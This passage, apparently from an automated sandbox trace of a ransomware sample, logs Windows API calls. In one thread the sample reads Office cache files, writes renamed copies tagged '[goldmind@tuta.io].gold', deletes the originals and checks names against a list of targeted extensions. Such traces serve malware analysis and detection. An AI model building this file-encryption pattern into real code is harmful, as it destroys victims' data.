0x11472c0 [0051.264] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.055] GetTickCount () returned 0x11475dc [0052.055] GetTickCount () returned 0x11475dc [0052.055] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.320] GetTickCount () returned 0x11476e5 [0052.320] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.534] GetTickCount () returned 0x11477bf [0052.534] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.684] GetTickCount () returned 0x114784c [0052.684] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.861] GetTickCount () returned 0x1147907 [0052.861] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.466] GetTickCount () returned 0x1147b58 [0053.466] GetTickCount () returned 0x1147b58 [0053.466] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.879] GetTickCount () returned 0x1147cfd [0053.879] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.081] GetTickCount () returned 0x1147dc8 [0054.081] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.274] GetTickCount () returned 0x1147e83 [0054.274] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.009] GetTickCount () returned 0x1148160 [0055.009] GetTickCount () returned 0x1148160 [0055.009] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.169] GetTickCount () returned 0x114820c [0055.169] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.556] GetTickCount () returned 0x1148382 [0055.556] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.713] GetTickCount () returned 0x114841e [0055.713] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.473] GetTickCount () returned 0x114871b [0056.473] GetTickCount () returned 0x114871b [0056.473] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.877] GetTickCount () returned 0x11488b0 [0056.877] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x478 [0033.626] GetTickCount () returned 0x11432f3 [0033.626] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8d0fa8 [0033.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d0fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0033.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d0fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0033.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d0fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0033.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x8d0fa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0033.630] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0278 [0033.630] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0278, Size=0x20) returned 0x8b5d70 [0033.630] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0278 [0033.630] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0278, Size=0x20) returned 0x8b5d48 [0033.631] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0033.631] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0033.631] Wow64DisableWow64FsRedirection (in: OldValue=0x266ff84 | out: OldValue=0x266ff84*=0x0) returned 1 [0033.631] lstrlenW (lpString="kernel32.dll") returned 12 [0033.631] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d70 | out: hHeap=0x880000) returned 1 [0033.631] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.631] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5d48 | out: hHeap=0x880000) returned 1 [0033.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x8dd440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0033.631] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0033.979] GetTickCount () returned 0x114339f [0033.979] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0034.664] GetTickCount () returned 0x1143498 [0034.664] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0035.150] GetTickCount () returned 0x114366c [0035.150] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0035.444] GetTickCount () returned 0x1143766 [0035.444] GetTickCount () returned 0x1143766 [0035.444] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0035.684] GetTickCount () returned 0x114385f [0035.684] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0036.059] GetTickCount () returned 0x11439b7 [0036.059] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0036.486] GetTickCount () returned 0x1143b3d [0036.486] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0036.912] GetTickCount () returned 0x1143cb3 [0036.912] GetTickCount () returned 0x1143cb3 [0036.912] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0037.294] GetTickCount () returned 0x1143ddb [0037.294] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0037.619] GetTickCount () returned 0x1143f13 [0037.619] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0038.089] GetTickCount () returned 0x11440a9 [0038.089] GetTickCount () returned 0x11440a9 [0038.089] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0038.510] GetTickCount () returned 0x114421f [0038.510] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0038.853] GetTickCount () returned 0x1144357 [0038.853] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0039.335] GetTickCount () returned 0x114453b [0039.335] GetTickCount () returned 0x114453b [0039.335] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0039.569] GetTickCount () returned 0x1144606 [0039.569] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0039.898] GetTickCount () returned 0x114474d [0039.898] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0040.247] GetTickCount () returned 0x1144885 [0040.247] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0040.582] GetTickCount () returned 0x11449dd [0040.582] GetTickCount () returned 0x11449dd [0040.582] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0040.709] GetTickCount () returned 0x1144a59 [0040.709] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0041.090] GetTickCount () returned 0x1144bd0 [0041.090] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0041.712] GetTickCount () returned 0x1144d94 [0041.712] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0042.088] GetTickCount () returned 0x1144eeb [0042.090] GetTickCount () returned 0x1144eeb [0042.090] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0042.393] GetTickCount () returned 0x1145023 [0042.393] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0042.652] GetTickCount () returned 0x114511d [0042.655] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0043.002] GetTickCount () returned 0x1145284 [0043.002] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0043.375] GetTickCount () returned 0x11453fa [0043.375] GetTickCount () returned 0x11453fa [0043.375] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0043.712] GetTickCount () returned 0x1145542 [0043.712] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.002] GetTickCount () returned 0x114566a [0044.002] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.259] GetTickCount () returned 0x1145764 [0044.259] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.414] GetTickCount () returned 0x1145800 [0044.414] GetTickCount () returned 0x1145800 [0044.414] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.660] GetTickCount () returned 0x11458f9 [0044.660] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.858] GetTickCount () returned 0x11459c4 [0044.858] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0045.182] GetTickCount () returned 0x1145afc [0045.183] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0045.450] GetTickCount () returned 0x1145c15 [0045.450] GetTickCount () returned 0x1145c15 [0045.450] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0045.649] GetTickCount () returned 0x1145cd0 [0045.649] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.005] GetTickCount () returned 0x1145e37 [0046.005] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.512] GetTickCount () returned 0x114603a [0046.512] GetTickCount () returned 0x114603a [0046.512] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.739] GetTickCount () returned 0x1146114 [0046.739] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0047.597] GetTickCount () returned 0x114646e [0047.597] GetTickCount () returned 0x114646e [0047.597] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0047.834] GetTickCount () returned 0x1146558 [0047.834] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.159] GetTickCount () returned 0x11466a0 [0048.159] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0048.380] GetTickCount () returned 0x114677a [0048.380] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0049.385] GetTickCount () returned 0x1146b70 [0049.385] GetTickCount () returned 0x1146b70 [0049.385] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0049.563] GetTickCount () returned 0x1146c1c [0049.563] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0049.722] GetTickCount () returned 0x1146cb8 [0049.722] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0050.535] GetTickCount () returned 0x1146ff3 [0050.535] GetTickCount () returned 0x1146ff3 [0050.535] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0050.693] GetTickCount () returned 0x114708f [0050.693] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.000] GetTickCount () returned 0x11471b7 [0051.000] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0051.264] GetTickCount () returned 0x11472c0 [0051.264] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.058] GetTickCount () returned 0x11475dc [0052.058] GetTickCount () returned 0x11475dc [0052.058] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.320] GetTickCount () returned 0x11476e5 [0052.320] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.534] GetTickCount () returned 0x11477bf [0052.534] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.684] GetTickCount () returned 0x114784c [0052.684] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0052.861] GetTickCount () returned 0x1147907 [0052.861] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.466] GetTickCount () returned 0x1147b58 [0053.466] GetTickCount () returned 0x1147b58 [0053.466] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0053.879] GetTickCount () returned 0x1147cfd [0053.879] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0054.081] GetTickCount () returned 0x1147dc8 [0054.081] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0054.274] GetTickCount () returned 0x1147e83 [0054.274] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.016] GetTickCount () returned 0x1148170 [0055.016] GetTickCount () returned 0x1148170 [0055.016] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.169] GetTickCount () returned 0x114820c [0055.169] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.556] GetTickCount () returned 0x1148382 [0055.556] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0055.713] GetTickCount () returned 0x114841e [0055.713] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0056.473] GetTickCount () returned 0x114871b [0056.473] GetTickCount () returned 0x114871b [0056.473] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0056.878] GetTickCount () returned 0x11488b0 [0056.878] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) Thread: id = 10 os_tid = 0xad0 [0033.889] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x9002e0 [0033.889] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x9102e8 [0033.889] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d02d8 [0033.889] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x8ba370 [0033.889] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d02f0 [0033.890] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3530020 [0033.890] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0308 [0033.890] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0308, Size=0x20) returned 0x8ff910 [0033.890] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0308 [0033.890] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0308, Size=0x20) returned 0x8ff938 [0033.890] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76ac0000 [0033.890] GetProcAddress (hModule=0x76ac0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76aed650 [0033.890] Wow64DisableWow64FsRedirection (in: OldValue=0x236ff58 | out: OldValue=0x236ff58*=0x0) returned 1 [0033.890] lstrlenW (lpString="kernel32.dll") returned 12 [0033.890] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff910 | out: hHeap=0x880000) returned 1 [0033.890] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.890] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ff938 | out: hHeap=0x880000) returned 1 [0033.890] Sleep (dwMilliseconds=0x64) [0034.605] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.605] lstrlenW (lpString="WordMUI.xml") returned 11 [0034.605] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.766] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1800) returned 1 [0034.766] CloseHandle (hObject=0x184) returned 1 [0034.766] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0034.767] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.767] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.767] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.767] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.767] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.767] GetLastError () returned 0x0 [0034.767] ReadFile (in: hFile=0x184, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x708, lpOverlapped=0x0) returned 1 [0034.796] WriteFile (in: hFile=0x1a4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x710, lpOverlapped=0x0) returned 1 [0034.796] ReadFile (in: hFile=0x184, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.796] WriteFile (in: hFile=0x1a4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xea, lpOverlapped=0x0) returned 1 [0034.797] SetEndOfFile (hFile=0x1a4) returned 1 [0034.797] CloseHandle (hObject=0x1a4) returned 1 [0034.797] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.797] SetEndOfFile (hFile=0x184) returned 1 [0034.798] CloseHandle (hObject=0x184) returned 1 [0034.798] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0034.798] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0034.798] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.799] lstrlenW (lpString=".doc") returned 4 [0034.799] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString=".docx") returned 5 [0034.799] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.799] lstrlenW (lpString=".pdf") returned 4 [0034.799] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString=".xls") returned 4 [0034.799] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString=".xlsx") returned 5 [0034.799] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.799] lstrlenW (lpString=".ppt") returned 4 [0034.799] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.799] lstrlenW (lpString=".zip") returned 4 [0034.799] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.799] lstrlenW (lpString=".rar") returned 4 [0034.799] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString=".bz2") returned 4 [0034.799] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString=".7z") returned 3 [0034.799] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.799] lstrlenW (lpString=".dbf") returned 4 [0034.799] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.799] lstrlenW (lpString=".1cd") returned 4 [0034.799] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.799] lstrlenW (lpString=".jpg") returned 4 [0034.799] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.799] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.799] lstrlenW (lpString=".doc") returned 4 [0034.799] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString=".docx") returned 5 [0034.799] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.799] lstrlenW (lpString=".pdf") returned 4 [0034.799] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString=".xls") returned 4 [0034.799] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.799] lstrlenW (lpString=".xlsx") returned 5 [0034.799] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.799] lstrlenW (lpString=".ppt") returned 4 [0034.799] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.800] lstrlenW (lpString=".zip") returned 4 [0034.800] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.800] lstrlenW (lpString=".rar") returned 4 [0034.800] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.800] lstrlenW (lpString=".bz2") returned 4 [0034.800] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.800] lstrlenW (lpString=".7z") returned 3 [0034.800] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.800] lstrlenW (lpString=".dbf") returned 4 [0034.800] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.800] lstrlenW (lpString=".1cd") returned 4 [0034.800] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.800] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.800] lstrlenW (lpString=".jpg") returned 4 [0034.800] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.800] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0034.800] lstrlenW (lpString="Office32MUI.xml") returned 15 [0034.800] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.801] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=1383) returned 1 [0034.801] CloseHandle (hObject=0x184) returned 1 [0034.801] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0034.801] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0034.801] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.801] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.801] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.801] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0034.801] GetLastError () returned 0x0 [0034.801] ReadFile (in: hFile=0x184, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x567, lpOverlapped=0x0) returned 1 [0034.821] WriteFile (in: hFile=0x1a4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x570, lpOverlapped=0x0) returned 1 [0034.822] ReadFile (in: hFile=0x184, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.822] WriteFile (in: hFile=0x1a4, lpBuffer=0x3530020*, 